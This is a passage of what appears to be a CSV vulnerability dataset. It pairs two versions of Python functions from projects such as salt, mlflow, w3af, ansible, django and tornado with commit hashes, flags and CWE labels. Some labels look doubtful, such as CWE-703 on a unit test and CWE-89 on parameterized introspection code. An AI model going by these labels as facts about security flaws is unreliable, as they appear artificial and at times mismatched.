                                                                      encoded_null,
                                                                      encoded_semicolon,
                                                                      element_valuenames[i].encode('utf-16-le'),
                                                                      encoded_null,
                                                                      encoded_semicolon,
                                                                      chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                                                      encoded_semicolon,
                                                                      six.unichr(len('{0}{1}'.format(element_values[i],
                                                                                 chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
                                                                      encoded_semicolon,
                                                                      b''.join([element_values[i].encode('utf-16-le'),
                                                                               encoded_null]),
                                                                      ']'.encode('utf-16-le')])
                else:
                    expected_string = del_keys + b''.join(['['.encode('utf-16-le'),
                                                           reg_key,
                                                           encoded_null,
                                                           encoded_semicolon])
            else:
                expected_string = b''.join(['['.encode('utf-16-le'),
                                            reg_key,
                                            encoded_null,
                                            encoded_semicolon,
                                            '**delvals.'.encode('utf-16-le'),
                                            encoded_null,
                                            encoded_semicolon,
                                            chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                            encoded_semicolon,
                                            six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
                                            encoded_semicolon,
                                            ' '.encode('utf-16-le'),
                                            encoded_null,
                                            ']'.encode('utf-16-le')])
        elif etree.QName(element).localname == 'enum':
            if this_element_value is not None:
                pass

        if standard_element_expected_string and not check_deleted:
            if this_element_value is not None:
                expected_string = b''.join(['['.encode('utf-16-le'),
                                            reg_key,
                                            encoded_null,
                                            encoded_semicolon,
                                            reg_valuename,
                                            encoded_null,
                                            encoded_semicolon,
                                            chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                            encoded_semicolon,
                                            six.unichr(len(this_element_value)).encode('utf-32-le'),
                                            encoded_semicolon,
                                            this_element_value,
                                            ']'.encode('utf-16-le')])
            else:
                expected_string = b''.join(['['.encode('utf-16-le'),
                                            reg_key,
                                            encoded_null,
                                            encoded_semicolon,
                                            reg_valuename,
                                            encoded_null,
                                            encoded_semicolon,
                                            chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                            encoded_semicolon])

    if not expected_string:
        if etree.QName(element).localname == ""delete"" or check_deleted:
            # delete value
            expected_string = b''.join(['['.encode('utf-16-le'),
                                        reg_key,
                                        encoded_null,
                                        encoded_semicolon,
                                        '**del.'.encode('utf-16-le'),
                                        reg_valuename,
                                        encoded_null,
                                        encoded_semicolon,
                                        chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                        encoded_semicolon,
                                        six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
                                        encoded_semicolon,
                                        ' '.encode('utf-16-le'),
                                        encoded_null,
                                        ']'.encode('utf-16-le')])
        else:
            expected_string = b''.join(['['.encode('utf-16-le'),
                                        reg_key,
                                        encoded_null,
                                        encoded_semicolon,
                                        reg_valuename,
                                        encoded_null,
                                        encoded_semicolon,
                                        chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                        encoded_semicolon,
                                        six.unichr(len(this_element_value)).encode('utf-32-le'),
                                        encoded_semicolon,
                                        this_element_value,
                                        ']'.encode('utf-16-le')])
    return expected_string",,saltstack/salt,6c1fd0bf649a4f9a66eb2dbffc87556f85144222,"def _processValueItem(element, reg_key, reg_valuename, policy, parent_element,
                      check_deleted=False, this_element_value=None):
    '''
    helper function to process a value type item and generate the expected
    string in the Registry.pol file

    element - the element to process
    reg_key - the registry key associated with the element (some inherit from
              their parent policy)
    reg_valuename - the registry valueName associated with the element (some
                    inherit from their parent policy)
    policy - the parent policy element
    parent_element - the parent element (primarily passed in to differentiate
                     children of ""elements"" objects
    check_deleted - if the returned expected string should be for a deleted
                    value
    this_element_value - a specific value to place into the expected string
                         returned for ""elements"" children whose values are
                         specified by the user
    '''
    registry = Registry()
    expected_string = None
    # https://msdn.microsoft.com/en-us/library/dn606006(v=vs.85).aspx
    this_vtype = 'REG_SZ'
    encoded_semicolon = ';'.encode('utf-16-le')
    encoded_null = chr(0).encode('utf-16-le')
    if reg_key:
        reg_key = reg_key.encode('utf-16-le')
    if reg_valuename:
        reg_valuename = reg_valuename.encode('utf-16-le')
    if etree.QName(element).localname == 'decimal' and etree.QName(parent_element).localname != 'elements':
        this_vtype = 'REG_DWORD'
        if 'value' in element.attrib:
            this_element_value = struct.pack(b'I', int(element.attrib['value']))
        else:
            log.error('The %s child %s element for the policy with '
                      'attributes: %s does not have the required ""value"" '
                      'attribute. The element attributes are: %s',
                      etree.QName(parent_element).localname,
                      etree.QName(element).localname,
                      policy.attrib,
                      element.attrib)
            return None
    elif etree.QName(element).localname == 'longDecimal' and etree.QName(parent_element).localname != 'elements':
        # WARNING: no longDecimals in current ADMX files included with 2012
        # server, so untested/assumed
        this_vtype = 'REG_QWORD'
        if 'value' in element.attrib:
            this_element_value = struct.pack(b'Q', int(element.attrib['value']))
        else:
            log.error('The %s child %s element for the policy with '
                      'attributes: %s does not have the required ""value"" '
                      'attribute. The element attributes are: %s',
                      etree.QName(parent_element).localname,
                      etree.QName(element).localname,
                      policy.attrib,
                      element.attrib)
            return None
    elif etree.QName(element).localname == 'string':
        this_vtype = 'REG_SZ'
        this_element_value = b''.join([element.text.encode('utf-16-le'),
                                       encoded_null])
    elif etree.QName(parent_element).localname == 'elements':
        standard_element_expected_string = True
        if etree.QName(element).localname == 'boolean':
            # a boolean element that has no children will add a REG_DWORD == 1
            # on true or delete the value on false
            # https://msdn.microsoft.com/en-us/library/dn605978(v=vs.85).aspx
            if this_element_value is False:
                check_deleted = True
            if not check_deleted:
                this_vtype = 'REG_DWORD'
            this_element_value = chr(1).encode('utf-16-le')
            standard_element_expected_string = False
        elif etree.QName(element).localname == 'decimal':
            # https://msdn.microsoft.com/en-us/library/dn605987(v=vs.85).aspx
            this_vtype = 'REG_DWORD'
            requested_val = this_element_value
            if this_element_value is not None:
                this_element_value = struct.pack(b'I', int(this_element_value))
            if 'storeAsText' in element.attrib:
                if element.attrib['storeAsText'].lower() == 'true':
                    this_vtype = 'REG_SZ'
                    if requested_val is not None:
                        this_element_value = six.text_type(requested_val).encode('utf-16-le')
            if check_deleted:
                this_vtype = 'REG_SZ'
        elif etree.QName(element).localname == 'longDecimal':
            # https://msdn.microsoft.com/en-us/library/dn606015(v=vs.85).aspx
            this_vtype = 'REG_QWORD'
            requested_val = this_element_value
            if this_element_value is not None:
                this_element_value = struct.pack(b'Q', int(this_element_value))
            if 'storeAsText' in element.attrib:
                if element.attrib['storeAsText'].lower() == 'true':
                    this_vtype = 'REG_SZ'
                    if requested_val is not None:
                        this_element_value = six.text_type(requested_val).encode('utf-16-le')
        elif etree.QName(element).localname == 'text':
            # https://msdn.microsoft.com/en-us/library/dn605969(v=vs.85).aspx
            this_vtype = 'REG_SZ'
            if 'expandable' in element.attrib:
                if element.attrib['expandable'].lower() == 'true':
                    this_vtype = 'REG_EXPAND_SZ'
            if this_element_value is not None:
                this_element_value = b''.join([this_element_value.encode('utf-16-le'),
                                               encoded_null])
        elif etree.QName(element).localname == 'multiText':
            this_vtype = 'REG_MULTI_SZ' if not check_deleted else 'REG_SZ'
            if this_element_value is not None:
                this_element_value = '{0}{1}{1}'.format(chr(0).join(this_element_value), chr(0))
        elif etree.QName(element).localname == 'list':
            standard_element_expected_string = False
            del_keys = b''
            element_valuenames = []
            element_values = this_element_value
            if this_element_value is not None:
                element_valuenames = list([str(z) for z in range(1, len(this_element_value) + 1)])
            if 'additive' in element.attrib:
                if element.attrib['additive'].lower() == 'false':
                    # a delete values will be added before all the other
                    # value = data pairs
                    del_keys = b''.join(['['.encode('utf-16-le'),
                                         reg_key,
                                         encoded_null,
                                         encoded_semicolon,
                                         '**delvals.'.encode('utf-16-le'),
                                         encoded_null,
                                         encoded_semicolon,
                                         chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                         encoded_semicolon,
                                         six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
                                         encoded_semicolon,
                                         ' '.encode('utf-16-le'),
                                         encoded_null,
                                         ']'.encode('utf-16-le')])
            if 'expandable' in element.attrib:
                this_vtype = 'REG_EXPAND_SZ'
            if element.attrib.get('explicitValue', 'false').lower() == 'true':
                if this_element_value is not None:
                    element_valuenames = [str(k) for k in this_element_value.keys()]
                    element_values = [str(v) for v in this_element_value.values()]
            elif 'valuePrefix' in element.attrib:
                # if the valuePrefix attribute exists, the valuenames are <prefix><number>
                # most prefixes attributes are empty in the admx files, so the valuenames
                # end up being just numbers
                if element.attrib['valuePrefix'] != '':
                    if this_element_value is not None:
                        element_valuenames = ['{0}{1}'.format(
                            element.attrib['valuePrefix'], k) for k in element_valuenames]
            else:
                # if there is no valuePrefix attribute, the valuename is the value
                if element_values is not None:
                    element_valuenames = [str(z) for z in element_values]
            if not check_deleted:
                if this_element_value is not None:
                    log.debug('_processValueItem has an explicit '
                              'element_value of %s', this_element_value)
                    expected_string = del_keys
                    log.debug('element_valuenames == %s and element_values '
                              '== %s', element_valuenames, element_values)
                    for i, item in enumerate(element_valuenames):
                        expected_string = expected_string + b''.join(['['.encode('utf-16-le'),
                                                                      reg_key,
                                                                      encoded_null,
                                                                      encoded_semicolon,
                                                                      element_valuenames[i].encode('utf-16-le'),
                                                                      encoded_null,
                                                                      encoded_semicolon,
                                                                      chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                                                      encoded_semicolon,
                                                                      six.unichr(len('{0}{1}'.format(element_values[i],
                                                                                 chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
                                                                      encoded_semicolon,
                                                                      b''.join([element_values[i].encode('utf-16-le'),
                                                                               encoded_null]),
                                                                      ']'.encode('utf-16-le')])
                else:
                    expected_string = del_keys + b''.join(['['.encode('utf-16-le'),
                                                           reg_key,
                                                           encoded_null,
                                                           encoded_semicolon])
            else:
                expected_string = b''.join(['['.encode('utf-16-le'),
                                            reg_key,
                                            encoded_null,
                                            encoded_semicolon,
                                            '**delvals.'.encode('utf-16-le'),
                                            encoded_null,
                                            encoded_semicolon,
                                            chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                            encoded_semicolon,
                                            six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
                                            encoded_semicolon,
                                            ' '.encode('utf-16-le'),
                                            encoded_null,
                                            ']'.encode('utf-16-le')])
        elif etree.QName(element).localname == 'enum':
            if this_element_value is not None:
                pass

        if standard_element_expected_string and not check_deleted:
            if this_element_value is not None:
                expected_string = b''.join(['['.encode('utf-16-le'),
                                            reg_key,
                                            encoded_null,
                                            encoded_semicolon,
                                            reg_valuename,
                                            encoded_null,
                                            encoded_semicolon,
                                            chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                            encoded_semicolon,
                                            six.unichr(len(this_element_value)).encode('utf-32-le'),
                                            encoded_semicolon,
                                            this_element_value,
                                            ']'.encode('utf-16-le')])
            else:
                expected_string = b''.join(['['.encode('utf-16-le'),
                                            reg_key,
                                            encoded_null,
                                            encoded_semicolon,
                                            reg_valuename,
                                            encoded_null,
                                            encoded_semicolon,
                                            chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                            encoded_semicolon])

    if not expected_string:
        if etree.QName(element).localname == ""delete"" or check_deleted:
            # delete value
            expected_string = b''.join(['['.encode('utf-16-le'),
                                        reg_key,
                                        encoded_null,
                                        encoded_semicolon,
                                        '**del.'.encode('utf-16-le'),
                                        reg_valuename,
                                        encoded_null,
                                        encoded_semicolon,
                                        chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                        encoded_semicolon,
                                        six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
                                        encoded_semicolon,
                                        ' '.encode('utf-16-le'),
                                        encoded_null,
                                        ']'.encode('utf-16-le')])
        else:
            expected_string = b''.join(['['.encode('utf-16-le'),
                                        reg_key,
                                        encoded_null,
                                        encoded_semicolon,
                                        reg_valuename,
                                        encoded_null,
                                        encoded_semicolon,
                                        chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                        encoded_semicolon,
                                        six.unichr(len(this_element_value)).encode('utf-32-le'),
                                        encoded_semicolon,
                                        this_element_value,
                                        ']'.encode('utf-16-le')])
    return expected_string"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/projects/docker.py,0,"def validate_docker_installation():
    """"""
    Verify if Docker is installed on host machine.
    """"""
    try:
        docker_path = ""docker""
        process._exec_cmd([docker_path, ""--help""], throw_on_error=False)
    except EnvironmentError:
        raise ExecutionException(
            ""Could not find Docker executable. ""
            ""Ensure Docker is installed as per the instructions ""
            ""at https://docs.docker.com/install/overview/.""
        )",,mlflow/mlflow,c98313482168137e39a6e6b0ed7169de5bfe0ba5,"def validate_docker_installation():
    """"""
    Verify if Docker is installed on host machine.
    """"""
    try:
        docker_path = ""docker""
        process.exec_cmd([docker_path, ""--help""], throw_on_error=False)
    except EnvironmentError:
        raise ExecutionException(
            ""Could not find Docker executable. ""
            ""Ensure Docker is installed as per the instructions ""
            ""at https://docs.docker.com/install/overview/.""
        )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/handler.py,0,"def setHandler():
    """"""
    Detect which is the target web application back-end database
    management system.
    """"""

    count     = 0
    dbmsNames = ( ""MySQL"", ""Oracle"", ""PostgreSQL"", ""Microsoft SQL Server"", ""SQLite"", ""Microsoft Access"", ""Firebird"", ""SAP MaxDB"", ""Sybase"" )
    dbmsObj   = [
                  ( MYSQL_ALIASES, MySQLMap, MySQLConn ),
                  ( ORACLE_ALIASES, OracleMap, OracleConn ),
                  ( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
                  ( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ),
                  ( SQLITE_ALIASES, SQLiteMap, SQLiteConn ),
                  ( ACCESS_ALIASES, AccessMap, AccessConn ),
                  ( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
                  ( MAXDB_ALIASES, MaxDBMap, MaxDBConn ),
                  ( SYBASE_ALIASES, SybaseMap, SybaseConn ),
                ]

    if kb.htmlFp:
        inferencedDbms = kb.htmlFp[-1]
    else:
        inferencedDbms = None

    for injection in kb.injections:
        if hasattr(injection, ""dbms""):
            inferencedDbms = injection.dbms
            break

    if inferencedDbms is not None:
        for i in xrange(len(dbmsObj)):
            dbmsAliases, _, _ = dbmsObj[i]

            if inferencedDbms.lower() in dbmsAliases:
                if i > 0:
                    pushValue(dbmsObj[i])
                    dbmsObj.remove(dbmsObj[i])
                    dbmsObj.insert(0, popValue())

                break

    for dbmsAliases, dbmsMap, dbmsConn in dbmsObj:
        if conf.dbms and conf.dbms not in dbmsAliases:
            debugMsg  = ""skipping test for %s"" % dbmsNames[count]
            logger.debug(debugMsg)

            count += 1

            continue

        kb.misc.handler = handler = dbmsMap()
        conf.dbmsConnector = dbmsConn()

        if conf.direct:
            logger.debug(""forcing timeout to 10 seconds"")
            conf.timeout = 10

            conf.dbmsConnector.connect()

        if handler.checkDbms():
            if not conf.dbms or conf.dbms in dbmsAliases:
                kb.dbmsDetected = True
                conf.dbmsHandler = handler

                return
        else:
            conf.dbmsConnector = None",,andresriancho/w3af,c8f943f5e4c2f035753a415f703aad4518e17dc4,"def setHandler():
    """"""
    Detect which is the target web application back-end database
    management system.
    """"""

    count     = 0
    dbmsNames = ( ""MySQL"", ""Oracle"", ""PostgreSQL"", ""Microsoft SQL Server"", ""SQLite"", ""Microsoft Access"", ""Firebird"", ""SAP MaxDB"", ""Sybase"" )
    dbmsMap   = [
                  ( MYSQL_ALIASES, MySQLMap, MySQLConn ),
                  ( ORACLE_ALIASES, OracleMap, OracleConn ),
                  ( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
                  ( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ),
                  ( SQLITE_ALIASES, SQLiteMap, SQLiteConn ),
                  ( ACCESS_ALIASES, AccessMap, AccessConn ),
                  ( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
                  ( MAXDB_ALIASES, MaxDBMap, MaxDBConn ),
                  ( SYBASE_ALIASES, SybaseMap, SybaseConn ),
                ]

    if kb.htmlFp:
        inferencedDbms = kb.htmlFp[-1]
    elif hasattr(kb.injection, ""dbms""):
        inferencedDbms = kb.injection.dbms
    else:
        inferencedDbms = None

    if inferencedDbms is not None:
        for i in xrange(len(dbmsMap)):
            dbmsAliases, _, _ = dbmsMap[i]

            if inferencedDbms.lower() in dbmsAliases:
                if i > 0:
                    pushValue(dbmsMap[i])
                    dbmsMap.remove(dbmsMap[i])
                    dbmsMap.insert(0, popValue())

                break

    for dbmsAliases, dbmsMap, dbmsConn in dbmsMap:
        if conf.dbms and conf.dbms not in dbmsAliases:
            debugMsg  = ""skipping test for %s"" % dbmsNames[count]
            logger.debug(debugMsg)

            count += 1

            continue

        kb.misc.handler = handler = dbmsMap()
        conf.dbmsConnector = dbmsConn()

        if conf.direct:
            logger.debug(""forcing timeout to 10 seconds"")
            conf.timeout = 10

            conf.dbmsConnector.connect()

        if handler.checkDbms():
            if not conf.dbms or conf.dbms in dbmsAliases:
                kb.dbmsDetected = True

                conf.dbmsHandler = handler

                return
        else:
            conf.dbmsConnector = None"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/service.py,1,"def run(self, tmp=None, task_vars=None):
        ''' handler for package operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        module = self._task.args.get('use', 'auto').lower()

        if module == 'auto':
            try:
                if self._task.delegate_to: # if we delegate, we should use delegated host's facts
                    module = self._templar.template(""{{hostvars['%s']['ansible_service_mgr']}}"" % self._task.delegate_to)
                else:
                    module = self._templar.template('{{ansible_service_mgr}}')
            except:
                pass # could not get it from template!

        if module == 'auto':
            facts = self._execute_module(module_name='setup', module_args=dict(gather_subset='!all', filter='ansible_service_mgr'), task_vars=task_vars)
            self._display.debug(""Facts %s"" % facts)
            if 'ansible_facts' in facts and  'ansible_service_mgr' in facts['ansible_facts']:
                module = facts['ansible_facts']['ansible_service_mgr']

        if not module or module == 'auto' or module not in self._shared_loader_obj.module_loader:
            module = 'service'

        if module != 'auto':
            # run the 'service' module
            new_module_args = self._task.args.copy()
            if 'use' in new_module_args:
                del new_module_args['use']

            # for backwards compatibility
            if 'state' in new_module_args and new_module_args['state'] == 'running':
                new_module_args['state'] = 'started'

            if module in self.UNUSED_PARAMS:
                for unused in self.UNUSED_PARAMS[module]:
                    if unused in new_module_args:
                        del new_module_args[unused]
                        self._display.warning('Ignoring ""%s"" as it is not used in ""%s""' % (unused, module))

            self._display.vvvv(""Running %s"" % module)
            result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars))
        else:
            result['failed'] = True
            result['msg'] = 'Could not detect which service manager to use. Try gathering facts or setting the ""use"" option.'

        return result",CWE-703,ansible/ansible,0aaee0272a07fa1cb5081290ec624975ba5b8aa2,"def run(self, tmp=None, task_vars=None):
        ''' handler for package operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        module = self._task.args.get('use', 'auto').lower()

        if module == 'auto':
            try:
                module = self._templar.template('{{ansible_service_mgr}}')
            except:
                pass # could not get it from template!

        if module == 'auto':
            facts = self._execute_module(module_name='setup', module_args=dict(gather_subset='!all', filter='ansible_service_mgr'), task_vars=task_vars)
            self._display.debug(""Facts %s"" % facts)
            if 'ansible_facts' in facts and  'ansible_service_mgr' in facts['ansible_facts']:
                module = facts['ansible_facts']['ansible_service_mgr']

        if not module or module == 'auto' or module not in self._shared_loader_obj.module_loader:
            module = 'service'

        if module != 'auto':
            # run the 'service' module
            new_module_args = self._task.args.copy()
            if 'use' in new_module_args:
                del new_module_args['use']

            # for backwards compatibility
            if 'state' in new_module_args and new_module_args['state'] == 'running':
                new_module_args['state'] = 'started'

            if module in self.UNUSED_PARAMS:
                for unused in self.UNUSED_PARAMS[module]:
                    if unused in new_module_args:
                        del new_module_args[unused]
                        self._display.warning('Ignoring ""%s"" as it is not used in ""%s""' % (unused, module))

            self._display.vvvv(""Running %s"" % module)
            result.update(self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars))
        else:
            result['failed'] = True
            result['msg'] = 'Could not detect which service manager to use. Try gathering facts or setting the ""use"" option.'

        return result"
,UNKNOWN,UNKNOWN,tests/types/test_schema.py,1,"def test_tensor_spec():
    a1 = TensorSpec(np.dtype(""float64""), (-1, 3, 3), ""a"")
    a2 = TensorSpec(np.dtype(""float""), (-1, 3, 3), ""a"")  # float defaults to float64
    a3 = TensorSpec(np.dtype(""float""), [-1, 3, 3], ""a"")
    a4 = TensorSpec(np.dtype(""int""), (-1, 3, 3), ""a"")
    assert a1 == a2
    assert a1 == a3
    assert a1 != a4
    b1 = TensorSpec(np.dtype(""float64""), (-1, 3, 3), ""b"")
    assert b1 != a1
    with pytest.raises(TypeError, match=""Expected `dtype` to be instance""):
        TensorSpec(""Unsupported"", (-1, 3, 3), ""a"")
    with pytest.raises(TypeError, match=""Expected `shape` to be instance""):
        TensorSpec(np.dtype(""float64""), np.array([-1, 2, 3]), ""b"")
    with pytest.raises(
        MlflowException,
        match=""MLflow does not support size information in flexible numpy data types"",
    ):
        TensorSpec(np.dtype(""<U10""), (-1,), ""b"")

    a5 = TensorSpec.from_json_dict(**a1.to_dict())
    assert a5 == a1
    assert TensorSpec.from_json_dict(**json.loads(json.dumps(a1.to_dict()))) == a1
    a6 = TensorSpec(np.dtype(""float64""), (-1, 3, 3))
    a7 = TensorSpec(np.dtype(""float64""), (-1, 3, 3), None)
    assert a6 == a7
    assert TensorSpec.from_json_dict(**json.loads(json.dumps(a6.to_dict()))) == a6",CWE-703,mlflow/mlflow,ae9047576b0806eda6f7defef7333b2bd480157c,"def test_tensor_spec():
    a1 = TensorSpec(np.dtype(""float64""), (-1, 3, 3), ""a"")
    a2 = TensorSpec(np.dtype(""float""), (-1, 3, 3), ""a"")  # float defaults to float64
    a3 = TensorSpec(np.dtype(""float""), [-1, 3, 3], ""a"")
    a4 = TensorSpec(np.dtype(""int""), (-1, 3, 3), ""a"")
    assert a1 == a2
    assert a1 == a3
    assert a1 != a4
    b1 = TensorSpec(np.dtype(""float64""), (-1, 3, 3), ""b"")
    assert b1 != a1
    with pytest.raises(TypeError, match=""Expected `type` to be instance""):
        TensorSpec(""Unsupported"", (-1, 3, 3), ""a"")
    with pytest.raises(TypeError, match=""Expected `shape` to be instance""):
        TensorSpec(np.dtype(""float64""), np.array([-1, 2, 3]), ""b"")
    with pytest.raises(
        MlflowException,
        match=""MLflow does not support size information in flexible numpy data types"",
    ):
        TensorSpec(np.dtype(""<U10""), (-1,), ""b"")

    a5 = TensorSpec.from_json_dict(**a1.to_dict())
    assert a5 == a1
    assert TensorSpec.from_json_dict(**json.loads(json.dumps(a1.to_dict()))) == a1
    a6 = TensorSpec(np.dtype(""float64""), (-1, 3, 3))
    a7 = TensorSpec(np.dtype(""float64""), (-1, 3, 3), None)
    assert a6 == a7
    assert TensorSpec.from_json_dict(**json.loads(json.dumps(a6.to_dict()))) == a6"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/introspection.py,1,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.
        """"""
        cursor.execute(
            ""PRAGMA table_xinfo(%s)"" % self.connection.ops.quote_name(table_name)
        )
        table_info = cursor.fetchall()
        if not table_info:
            raise DatabaseError(f""Table {table_name} does not exist (empty pragma)."")
        collations = self._get_column_collations(cursor, table_name)
        json_columns = set()
        if self.connection.features.can_introspect_json_field:
            for line in table_info:
                column = line[1]
                json_constraint_sql = '%%json_valid(""%s"")%%' % column
                has_json_constraint = cursor.execute(
                    """"""
                    SELECT sql
                    FROM sqlite_master
                    WHERE
                        type = 'table' AND
                        name = %s AND
                        sql LIKE %s
                """""",
                    [table_name, json_constraint_sql],
                ).fetchone()
                if has_json_constraint:
                    json_columns.add(column)
        table_description = [
            FieldInfo(
                name,
                data_type,
                get_field_size(data_type),
                None,
                None,
                None,
                not notnull,
                default,
                collations.get(name),
                bool(pk),
                name in json_columns,
            )
            for cid, name, data_type, notnull, default, pk, hidden in table_info
            if hidden
            in [
                0,  # Normal column.
                2,  # Virtual generated column.
                3,  # Stored generated column.
            ]
        ]
        # If the primary key is composed of multiple columns they should not
        # be individually marked as pk.
        primary_key = [
            index for index, field_info in enumerate(table_description) if field_info.pk
        ]
        if len(primary_key) > 1:
            for index in primary_key:
                table_description[index] = table_description[index]._replace(pk=False)
        return table_description",CWE-89,django/django,ec73fd67466e0e4841d9ecd0f217c02ce842d860,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.
        """"""
        cursor.execute(
            ""PRAGMA table_xinfo(%s)"" % self.connection.ops.quote_name(table_name)
        )
        table_info = cursor.fetchall()
        if not table_info:
            raise DatabaseError(f""Table {table_name} does not exist (empty pragma)."")
        collations = self._get_column_collations(cursor, table_name)
        json_columns = set()
        if self.connection.features.can_introspect_json_field:
            for line in table_info:
                column = line[1]
                json_constraint_sql = '%%json_valid(""%s"")%%' % column
                has_json_constraint = cursor.execute(
                    """"""
                    SELECT sql
                    FROM sqlite_master
                    WHERE
                        type = 'table' AND
                        name = %s AND
                        sql LIKE %s
                """""",
                    [table_name, json_constraint_sql],
                ).fetchone()
                if has_json_constraint:
                    json_columns.add(column)
        return [
            FieldInfo(
                name,
                data_type,
                get_field_size(data_type),
                None,
                None,
                None,
                not notnull,
                default,
                collations.get(name),
                pk == 1,
                name in json_columns,
            )
            for cid, name, data_type, notnull, default, pk, hidden in table_info
            if hidden
            in [
                0,  # Normal column.
                2,  # Virtual generated column.
                3,  # Stored generated column.
            ]
        ]"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/runner/lib/changes.py,0,"def __init__(self, args, git):
        """"""
        :type args: CommonConfig
        :type git: Git
        """"""
        self.args = args

        try:
            self.branch = os.environ['BRANCH']
            self.is_pr = os.environ['IS_PULL_REQUEST'] == 'true'
            self.is_tag = os.environ['IS_GIT_TAG'] == 'true'
            self.commit = os.environ['COMMIT']
            self.project_id = os.environ['PROJECT_ID']
        except KeyError as ex:
            raise MissingEnvironmentVariable(name=ex.args[0])

        if self.is_tag:
            raise ChangeDetectionNotSupported('Change detection is not supported for tags.')

        if self.is_pr:
            self.paths = sorted(git.get_diff_names(['origin/%s' % self.branch, '--']))
            self.diff = git.get_diff(['origin/%s' % self.branch, '--'])
        else:
            merge_runs = self.get_merge_runs(self.project_id, self.branch)
            last_successful_commit = self.get_last_successful_commit(git, merge_runs)

            if last_successful_commit:
                self.paths = sorted(git.get_diff_names([last_successful_commit, self.commit]))
                self.diff = git.get_diff([last_successful_commit, self.commit])
            else:
                # tracked files (including unchanged)
                self.paths = sorted(git.get_file_names(['--cached']))
                self.diff = []",,ansible/ansible,a491adc4252bfe6c05aa6eeeccae4c9633e52cc0,"def __init__(self, args, git):
        """"""
        :type args: CommonConfig
        :type git: Git
        """"""
        self.args = args

        try:
            self.branch = os.environ['BRANCH']
            self.is_pr = os.environ['IS_PULL_REQUEST'] == 'true'
            self.is_tag = os.environ['IS_GIT_TAG'] == 'true'
            self.commit = os.environ['COMMIT']
            self.project_id = os.environ['PROJECT_ID']
        except KeyError as ex:
            raise MissingEnvironmentVariable(name=ex.args[0])

        if self.is_tag:
            raise ChangeDetectionNotSupported('Change detection is not supported for tags.')

        if self.is_pr:
            self.paths = sorted(git.get_diff_names(['origin/%s' % self.branch, '--']))
            self.diff = git.get_diff(['origin/%s' % self.branch, '--'])
        else:
            merge_runs = self.get_merge_runs(self.project_id, self.branch)
            last_successful_commit = self.get_last_successful_commit(git, merge_runs)

            if last_successful_commit:
                self.paths = sorted(git.get_diff_names([last_successful_commit, self.commit]))
                self.diff = git.get_diff([last_successful_commit, self.commit])
            else:
                # tracked files (including unchanged)
                self.paths = sorted(git.get_file_names(['--cached']))
                self.diff = None"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httputil_test.py,0,"def test_invalid_cookies(self):
        """"""
        Cookie strings that go against RFC6265 but browsers will send if set
        via document.cookie.
        """"""
        # Chunks without an equals sign appear as unnamed values per
        # https://bugzilla.mozilla.org/show_bug.cgi?id=169091
        self.assertIn(
            ""django_language"",
            parse_cookie(""abc=def; unnamed; django_language=en"").keys(),
        )
        # Even a double quote may be an unamed value.
        self.assertEqual(parse_cookie('a=b; ""; c=d'), {""a"": ""b"", """": '""', ""c"": ""d""})
        # Spaces in names and values, and an equals sign in values.
        self.assertEqual(
            parse_cookie(""a b c=d e = f; gh=i""), {""a b c"": ""d e = f"", ""gh"": ""i""}
        )
        # More characters the spec forbids.
        self.assertEqual(
            parse_cookie('a   b,c<>@:/[]?{}=d  ""  =e,f g'),
            {""a   b,c<>@:/[]?{}"": 'd  ""  =e,f g'},
        )
        # Unicode characters. The spec only allows ASCII.
        self.assertEqual(
            parse_cookie(""saint=André Bessette""),
            {""saint"": native_str(""André Bessette"")},
        )
        # Browsers don't send extra whitespace or semicolons in Cookie headers,
        # but parse_cookie() should parse whitespace the same way
        # document.cookie parses whitespace.
        self.assertEqual(
            parse_cookie(""  =  b  ;  ;  =  ;   c  =  ;  ""), {"""": ""b"", ""c"": """"}
        )",CWE-Unknown,tornadoweb/tornado,0a39ba8b6ac0beb48a3244098cfa72ce1f59f215,"def test_invalid_cookies(self):
        """"""
        Cookie strings that go against RFC6265 but browsers will send if set
        via document.cookie.
        """"""
        # Chunks without an equals sign appear as unnamed values per
        # https://bugzilla.mozilla.org/show_bug.cgi?id=169091
        self.assertIn(
            ""django_language"",
            parse_cookie(""abc=def; unnamed; django_language=en"").keys(),
        )
        # Even a double quote may be an unamed value.
